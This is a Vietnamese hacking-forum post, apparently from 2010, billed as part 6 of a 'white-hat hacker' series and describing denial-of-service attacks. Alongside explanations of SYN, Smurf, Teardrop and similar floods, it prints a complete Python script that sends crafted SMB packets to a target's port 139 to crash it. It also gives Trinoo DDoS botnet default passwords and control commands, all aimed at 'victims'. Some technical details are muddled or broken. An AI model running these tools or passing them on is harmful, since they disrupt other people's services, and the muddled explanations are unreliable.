Home...Kamosu s2 all
Bạn hãy ủng hộ forum bằng cách đăng kí làm thành viên nhé! Việc đăng kí rất đơn giản và không cần phải kích hoạt!
Sau khi đăng kí, bạn hãy đăng nhập và tham gia post bài ngay! Mỗi bài viết của bạn là một đóng góp quý báu cho LA9x Forum!
Chúc bạn một ngày vui vẻ!



 
Trang ChínhLa9xCalendarTrợ giúpTìm kiếmĐăng kýĐăng Nhập

Share | 
  LÀM THẾ NÀO ĐỂ TRỞ THÀNH MỘT WHITE-HAT HACKER - Phần 6Xem chủ đề cũ hơn Xem chủ đề mới hơn Go down 
Bài gửiTiêu đề: LÀM THẾ NÀO ĐỂ TRỞ THÀNH MỘT WHITE-HAT HACKER - Phần 6Fri Jul 23, 2010 6:43 am
avatar
Kamosu
Admin

Admin

http://la9x.tk
Thông tin thành viên :
Click !Bài gửi : 151
Được thank : 0
Đến từ : Hai? Pho`ng

Chủ đề : LÀM THẾ NÀO ĐỂ TRỞ THÀNH MỘT WHITE-HAT HACKER - Phần 6
--------------------------------------------------


PART 6



38 . ) DoS attack là gì ? ( Denial Of
Services Attack )




_ DoS attack ( dịch là tấn công từ chối dịch vụ ) là kiểu tấn công
rất lợi hại , với loại tấn công này , bạn chỉ cần một máy tính kết nối
Internet là đã có thể thực hiện việc tấn công được máy tính của đốI
phương . thực chất của DoS attack là hacker sẽ chiếm dụng một lượng lớn
tài nguyên trên server ( tài nguyên đó có thể là băng thông, bộ nhớ,
cpu, đĩa cứng, ... ) làm cho server không thể nào đáp ứng các yêu cầu từ
các máy của nguời khác ( máy của những người dùng bình thường ) và
server có thể nhanh chóng bị ngừng hoạt động, crash hoặc reboot .



39 . ) Các loại DoS attack hiện đang được
biết đến và sử dụng :




a . ) Winnuke :



_DoS attack loại này chỉ có thể áp dụng cho các máy tính đang chạy
Windows9x . Hacker sẽ gởi các gói tin với dữ liệu "Out of Band" đến cổng
139 của máy tính đích.( Cổng 139 chính là cổng NetBIOS, cổng này chỉ
chấp nhận các gói tin có cờ Out of Band được bật ) . Khi máy tính của
victim nhận được gói tin này, một màn hình xanh báo lỗi sẽ được hiển thị
lên với nạn nhân do chương trình của Windows nhận được các gói tin này
nhưng nó lại không biết phản ứng với các dữ liệu Out Of Band như thế nào
dẫn đến hệ thống sẽ bị crash .



b . ) Ping of Death :



_ Ở kiểu DoS attack này , ta chỉ cần gửi một gói dữ liệu có kích
thước lớn thông qua lệnh ping đến máy đích thì hệ thống của họ sẽ bị
treo .

_ VD : ping –l 65000



c . ) Teardrop :



_ Như ta đã biết , tất cả các dữ liệu chuyển đi trên mạng từ hệ
thống nguồn đến hệ thống đích đều phải trải qua 2 quá trình : dữ liệu sẽ
được chia ra thành các mảnh nhỏ ở hệ thống nguồn, mỗi mảnh đều phải có
một giá trị offset nhất định để xác định vị trí của mảnh đó trong gói dữ
liệu được chuyển đi. Khi các mảnh này đến hệ thống đích, hệ thống đích
sẽ dựa vào giá trị offset để sắp xếp các mảnh lại với nhau theo thứ tự
đúng như ban đầu . Lợi dụng sơ hở đó , ta chỉ cần gởi đến hệ thống đích
một loạt gói packets với giá trị offset chồng chéo lên nhau. Hệ thống
đích sẽ không thể nào sắp xếp lại các packets này, nó không điều khiển
được và có thể bị crash, reboot hoặc ngừng hoạt động nếu số lượng gói
packets với giá trị offset chồng chéo lên nhau quá lớn !



d . ) SYN Attack :



_ Trong SYN Attack, hacker sẽ gởi đến hệ thống đích một loạt SYN
packets với địa chỉ ip nguồn không có thực. Hệ thống đích khi nhận được
các SYN packets này sẽ gởi trở lại các địa chỉ không có thực đó và chờ
đợI để nhận thông tin phản hồi từ các địa chỉ ip giả . Vì đây là các địa
chỉ ip không có thực, nên hệ thống đích sẽ sẽ chờ đợi vô ích và còn đưa
các "request" chờ đợi này vào bộ nhớ , gây lãng phí một lượng đáng kể
bộ nhớ trên máy chủ mà đúng ra là phải dùng vào việc khác thay cho phải
chờ đợi thông tin phản hồi không có thực này . Nếu ta gởi cùng một lúc
nhiều gói tin có địa chỉ IP giả như vậy thì hệ thống sẽ bị quá tải dẫn
đến bị crash hoặc boot máy tính . == > ném đá dấu tay .



e . ) Land Attack :



_ Land Attack cũng gần giống như SYN Attack, nhưng thay vì dùng các
địa chỉ ip không có thực, hacker sẽ dùng chính địa chỉ ip của hệ thống
nạn nhân. Điều này sẽ tạo nên một vòng lặp vô tận giữa trong chính hệ
thống nạn nhân đó, giữa một bên cần nhận thông tin phản hồi còn một bên
thì chẳng bao giờ gởi thông tin phản hồi đó đi cả . == > Gậy ông đập
lưng ông .



f . ) Smurf Attack :



_Trong Smurf Attack, cần có ba thành phần: hacker (người ra lệnh
tấn công), mạng khuếch đại (sẽ nghe lệnh của hacker) và hệ thống của nạn
nhân. Hacker sẽ gởi các gói tin ICMP đến địa chỉ broadcast của mạng
khuếch đại. Điều đặc biệt là các gói tin ICMP packets này có địa chỉ ip
nguồn chính là địa chỉ ip của nạn nhân . Khi các packets đó đến được địa
chỉ broadcast của mạng khuếch đại, các máy tính trong mạng khuếch đại
sẽ tưởng rằng máy tính nạn nhân đã gởi gói tin ICMP packets đến và chúng
sẽ đồng loạt gởi trả lại hệ thống nạn nhân các gói tin phản hồi ICMP
packets. Hệ thống máy nạn nhân sẽ không chịu nổi một khối lượng khổng lồ
các gói tin này và nhanh chóng bị ngừng hoạt động, crash hoặc reboot.
Như vậy, chỉ cần gởi một lượng nhỏ các gói tin ICMP packets đi thì hệ
thống mạng khuếch đại sẽ khuếch đại lượng gói tin ICMP packets này lên
gấp bộI . Tỉ lệ khuếch đại phụ thuộc vào số mạng tính có trong mạng
khuếch đạI . Nhiệm vụ của các hacker là cố chiếm được càng nhiều hệ
thống mạng hoặc routers cho phép chuyển trực tiếp các gói tin đến địa
chỉ broadcast không qua chỗ lọc địa chỉ nguồn ở các đầu ra của gói tin .
Có được các hệ thống này, hacker sẽ dễ dàng tiến hành Smurf Attack trên
các hệ thống cần tấn công . == > một máy làm chẳng si nhê , chục máy
chụm lại ta đành chào thua .



g . ) UDP Flooding :



_ Cách tấn công UDP đòi hỏi phải có 2 hệ thống máy cùng tham gia.
Hackers sẽ làm cho hệ thống của mình đi vào một vòng lặp trao đổi các dữ
liệu qua giao thức UDP. Và giả mạo địa chỉ ip của các gói tin là địa
chỉ loopback ( 127.0.0.1 ) , rồi gởi gói tin này đến hệ thống của nạn
nhân trên cổng UDP echo ( 7 ). Hệ thống của nạn nhân sẽ trả lời lại các
messages do 127.0.0.1( chính nó ) gởi đến , kết quả là nó sẽ đi vòng một
vòng lặp vô tận. Tuy nhiên, có nhiều hệ thống không cho dùng địa chỉ
loopback nên hacker sẽ giả mạo một địa chỉ ip của một máy tính nào đó
trên mạng nạn nhân và tiến hành ngập lụt UDP trên hệ thống của nạn nhân .
Nếu bạn làm cách này không thành công thì chính máy của bạn sẽ bị đấy .




h . ) Tấn công DNS :



_ Hacker có thể đổi một lối vào trên Domain Name Server của hệ
thống nạn nhân rồi cho chỉ đến một website nào đó của hacker. Khi máy
khách yêu cầu DNS phân tích địa chỉ bị xâm nhập thành địa chỉ ip, lập
tức DNS ( đã bị hacker thay đổi cache tạm thờI ) sẽ đổi thành địa chỉ ip
mà hacker đã cho chỉ đến đó . Kết quả là thay vì phải vào trang Web
muốn vào thì các nạn nhân sẽ vào trang Web do chính hacker tạo ra . Một
cách tấn công từ chối dịch vụ thật hữu hiệu !.



g . ) Distributed DoS Attacks ( DDos ) :



_ DDoS yêu cầu phải có ít nhất vài hackers cùng tham gia. Đầu tiên
các hackers sẽ cố thâm nhập vào các mạng máy tính được bảo mật kém, sau
đó cài lên các hệ thống này chương trình DDoS server. Bây giờ các
hackers sẽ hẹn nhau đến thời gian đã định sẽ dùng DDoS client kết nối
đến các DDoS servers, sau đó đồng loạt ra lệnh cho các DDoS servers này
tiến hành tấn công DDoS đến hệ thống nạn nhân .



h . ) DRDoS ( The Distributed Reflection
Denial of Service Attack ) :




_ Đây có lẽ là kiểu tấn công lợi hại nhất và làm boot máy tính của
đối phương nhanh gọn nhất . Cách làm thì cũng tương tự như DDos nhưng
thay vì tấn công bằng nhiều máy tính thì ngườI tấn công chỉ cần dùng một
máy tấn công thông qua các server lớn trên thế giới . Vẫn với phương
pháp giả mạo địa chỉ IP của victim , kẻ tấn công sẽ gởi các gói tin đến
các server mạnh nhất , nhanh nhất và có đường truyền rộng nhất như Yahoo
.v.v… , các server này sẽ phản hồi các gói tin đó đến địa chỉ của
victim . Việc cùng một lúc nhận được nhiều gói tin thông qua các server
lớn này sẽ nhanh chóng làm nghẽn đường truyền của máy tính nạn nhân và
làm crash , reboot máy tính đó . Cách tấn công này lợi hại ở chỗ chỉ cần
một máy có kết nối Internet đơn giản với đường truyền bình thường cũng
có thể đánh bật được hệ thống có đường truyền tốt nhất thế giớI nếu như
ta không kịp ngăn chặn . Trang Web HVA của chúng ta cũng bị DoS vừa rồi
bởi cách tấn công này đấy .



40 . ) Kỹ thuật DoS Web bằng Python :



_ Kỹ thuật này chỉ có thể sử dụng duy nhất trên WinNT , và bạn cần
phải có thời gian thì máy tính của nạn nhân mới bị down được .

_ Bạn hãy download Pyphon tại
http://www.python.org/ để sử dụng .

_ Bạn hãy save đoạn mã sau lên file rfpoison.py .



CODE

import string

import struct

from socket import *

import sys

def a2b(s):

bytes = map(lambda x: string.atoi(x, 16),

string.split(s))

data = string.join(map(chr, bytes), '')

return data

def b2a(s):

bytes = map(lambda x: '%.2x' % x, map(ord, s))

return string.join(bytes, ' ')



# Yêu cầu tập hợp NBSS

nbss_session = a2b("""

81 00 00 48 20 43 4b 46 44 45

4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43

41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45

42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46

43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00

00 00

""")



# Tạo SMB

crud = (

# Yêu cầu SMBnegprot

"""

ff 53 4d 42 72 00

00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43

20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d

20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20

4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d

49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b

53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30

00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d

62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e

30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00

""",

# Yêu cầu setup SMB X

"""

ff 53 4d 42 73 00

00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff

ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00

00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f

55 50 00 55 6e 69 78 00 53 61 6d 62 61 00

""",

# Yêu cầu SMBtconX

"""

ff 53 4d 42 75 00

00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00

00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56

45 52 5c 49 50 43 24 00 49 50 43 00

""",

# Yêu cầu khởI tạo SMBnt X

"""

ff 53 4d 42 a2 00

00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00

00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00

07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00

00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00

00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72

76 73 76 63 00

""",

# yêu cầu biên dịch SMB

"""

ff 53 4d 42 25 00

00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00

00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00

00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c

00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49

50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00

00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00

00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78

5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c

c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00

""",

# SMBtrans Request

"""

ff 53 4d 42 25 00

00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00

00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00

00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c

00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49

50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00

00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 00

00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00

5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00

56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00

00 00 00 00 00 00 ff ff ff ff 00 00 00 00

"""

)

crud = map(a2b, crud)

def smb_send(sock, data, type=0, flags=0):

d = struct.pack('!BBH', type, flags, len(data))

#print 'send:', b2a(d+data)

sock.send(d+data)

def smb_recv(sock):

s = sock.recv(4)

assert(len(s) == 4)

type, flags, length = struct.unpack('!BBH', s)

data = sock.recv(length)

assert(len(data) == length)

#print 'recv:', b2a(s+data)

return type, flags, data

def nbss_send(sock, data):

sock.send(data)

def nbss_recv(sock):

s = sock.recv(4)

assert(len(s) == 4)

return s

def main(host, port=139):

s = socket(AF_INET, SOCK_STREAM)

s.connect(host, port)

nbss_send(s, nbss_session)

nbss_recv(s)

for msg in crud[:-1]:

smb_send(s, msg)

smb_recv(s)

smb_send(s, crud[-1]) # no response to this

s.close()

if __name__ == '__main__':

print 'Sending poison...',

main(sys.argv[1])

print 'done.'





Để có thể làm down được server của đối phương bạn cần phải có thời
gian DoS , nếu không có điều kiện chờ đợi tốt nhất bạn không nên sử dụng
cách này . Nhưng “vọc” thử cho biết thì được đúng không ?



41 . ) Tấn công DDoS thông qua Trinoo :



_ Bạn đã biết DDoS attack là gì rồi phải không ? Một cuộc tấn công
DDoS bằng Trinoo được thực hiện bởi một kết nối của Hacker Trinoo Master
và chỉ dẫn cho Master để phát động một cuộc tấn công DDoS đến một hay
nhiều mục tiêu. Trinoo Master sẽ liên lạc với những Deadmons đưa những
địa chỉ được dẫn đến để tấn công một hay nhiều mục tiêu trong khoảng
thời gian xác định .

_ Cả Master và Deamon đều được bảo vệ bằng Passwd . chỉ khi chúng
ta biết passwd thì mới có thể điều khiển được chúng , điều này không có
gì khó khăn nếu chúng ta là chủ nhân thực sự của chúng . Những passwd
này thường được mã hoá và bạn có thể thiết lập khi biên dịch Trinoo từ
Source -----> Binnary. Khi được chạy , Deadmons sẽ hiện ra một dấu
nhắc và chờ passwd nhập vào , nếu passwd nhập sai nó sẽ tự động thoát
còn nếu passwd được nhập đúng thì nó sẽ tự động chạy trên nền của hệ
thống .



attacker$ telnet 10.0.0.1 27665

Trying 10.0.0.1

Connected to 10.0.0.1

Escape character is '^]'.

kwijibo

Connection closed by foreign host. < == Bạn đã nhập sai





attacker$ telnet 10.0.0.1 27665

Trying 10.0.0.1

Connected to 10.0.0.1

Escape character is '^]'.

betaalmostdone

trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]

trinoo> < == bạn đã vào được hệ thống trinoo



_ Đây là vài passwd mặc định :



“l44adsl": pass của trinoo daemon .

"gorave": passwd của trinoo master server khi startup .

"betaalmostdone": passwd điều khiển từ xa chung cho trinoo master .

"killme": passwd trinoo master điều khiển lệnh "mdie" .



_ Đây là một số lệnh dùng để điều khiển Master Server:





CODE


die------------------------------------------------------------Shutdown.

quit------------------------------------------------------------Log
off.

mtimer N----------------------------------------------------Đặt
thờI gian để tấn công DoS , vớI N nhận giá trị từ 1--> 1999 giây .

dos IP-------------------------------------------------------Tấn
công đến một địa chỉ IP xác định .

mdie pass---------------------------------------------------Vô hiệu
hoá tất cả các Broadcast , nếu như passwd chính xác . Một lệnh đưọc gửi
tới ("d1e l44adsl") Broadcast để Shutdown chúng . Một passwd riêng biệt
sẽ được đặt cho mục này

mping--------------------------------------------------------Gửi
một lệnh ping tới ("png l44adsl") c¸c Broadcast.

mdos <ip1:ip2..>
------------------------------------------Send nhiều lênh DOS ("xyz
l44adsl 123:ip1:ip2") đến các Broadcast.


info-------------------------------------------------------------Hiển
thị thông tin về Trinoo .

msize----------------------------------------------------------Đặt
kích thước đệm cho những gói tin được send đi trong suốt thờI gian DoS.

nslookup host----------------------------------------------Xác định
tên thiết bị của Host mà Master Trinoo đang chạy .

usebackup---------------------------------------------------Chuyển
tớI các file Broadcast sao lưu được tạo bởi lệnh “killdead”.


bcast-----------------------------------------------------------Liệt kê
danh sách tất cả các Broadcast có thể khai thác .

help [cmd] ---------------------------------------------------Đưa
ra danh sách các lệnh .


mstop-----------------------------------------------------------Ngừng
lại các cuốc tấn công DOS .





_ Đây là một số lệnh dùng để điều khiển Trinoo Deadmons:



CODE

aaa pass IP----------------------------------------------------Tấn
công đến địa chỉ IP đã xác định . GửI gói tin UDP (0-65534) đến cổng của
UDP của địa chỉ IP đã xác định trong một khoảng thời gian xác định được
mặc định là 120s hay từ 1-->1999 s .

bbb pass N-----------------------------------------------------Đặt
thờI gian giới hạn cho các cuộc tấn công DOS .

Shi pass--------------------------------------------------------Gửi
chuỗi “*HELLO*” tới dánh sách Master Server đã được biên dịch trong
chương trình trên cổng 31335/UDP.

png pass-------------------------------------------------------Send
chuỗi “Pong” tớI Master Server phát hành các lệnh điều khiển trên cổng
31335/UDP.

die
pass--------------------------------------------------------Shutdown
Trinoo.

rsz N------------------------------------------------------------Là
kích thước của bộ đệm được dùng để tấn công , nó được tính bằng byte .

xyz pass 123:ip1:ip3----------------------------------------tấn
công DOS nhiều mục tiêu cùng lúc .





( Dựa theo hướng dẫn của huynh Binhnx2000 )



Còn nhiều đoạn mã và cách ứng dụng để DoS lắm , các bạn chịu khó
tìm hiểu thêm nhé . Nhưng đừng tấn công lung tung , nhất là server của
HVA , coi chừng không thu được hiệu quả mà còn bị lock nick nữa đó .
Thân .



GOODLUCK!!!!!!!!!!!!!!!!



Về Đầu Trang Go down
 

LÀM THẾ NÀO ĐỂ TRỞ THÀNH MỘT WHITE-HAT HACKER - Phần 6

Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang 
Trang 1 trong tổng số 1 trang
Trả lời nhanh - Quick reply
Permissions in this forum:Bạn không có quyền trả lời bài viết
Home...Kamosu s2 all  :: Hacking-Sercurity-Programming-Designing :: Hack cơ bản-
Host By Forumotion   Powered by Kamosu
Tên miền , Hosting    Copyright 2010 - 2011, Jelsoft Enterprises Ltd
Forumotion.com | © phpBB | Free forum support | Report an abuse | Sosblogs